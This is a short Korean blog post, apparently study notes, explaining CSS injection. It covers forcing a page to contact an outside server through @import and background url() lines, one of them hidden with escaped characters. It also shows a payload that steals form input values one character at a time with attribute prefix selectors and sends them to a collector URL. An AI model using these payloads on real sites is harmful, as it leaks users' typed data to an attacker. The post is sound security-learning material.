security/web

CSS Injection

chanchand 2023. 7. 15. 01:51
반응형

CSS(Cascading Style Sheet)

HTML로 정의된 문서를 사용자에게 어떻게 보일지 정의

 

CSS Injection

임의의 CSS 코드를 주입시켜 의도하지 않은 속성이 정의되고, 악의적인 동작을 이끔

 

- 임의 영역의 UI 변경 가능

- IP Ping Back : 외부 서버로 요청하고, 외부 리소스를 불러옴

@import 'https://leaking.via/css-import-string'; 
@import url(https://leaking.via/css-import-url);
background: url(https://leaking.via/css-background);
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2);

 

입력 내용 탈취

Attribute Selector 이용해 입력박스 값 탈취 가능

[attr] : attr 이름의 특성을 가진 요소 선택

[attr = value] : attr 이름의 특성값이 value인 요소

[attr ^= value] : attr 이름의 특성값을 가지고 있으며, 접두사로 value가 포함되어 있으면 선택

[attr $= value] : attr 이름의 특성값을 가지고 있으며, 접미사로 value가 포함되어 있으면 선택

 

ex) [attr ^= value] 이용한 탈취

[attr ^= value] 구문을 이용해 첫 한글자를 먼저 탈취한 후, 탈취한 글자를 접두사로 하여 그 다음 한 글자를 탈취

위 과정을 반복

yellow; } input[value^={탈취할문자}] { background: url("https://.request.dreamhack.games/");

 

반응형

'security > web' 카테고리의 다른 글

file url schema  (0) 2023.08.20
127.0.0.1 / localhost 우회  (0) 2023.08.20
CouchDBMS  (0) 2023.08.19
[SQL Injection] Error&Time based  (0) 2023.01.24
필터링 우회  (0) 2023.01.22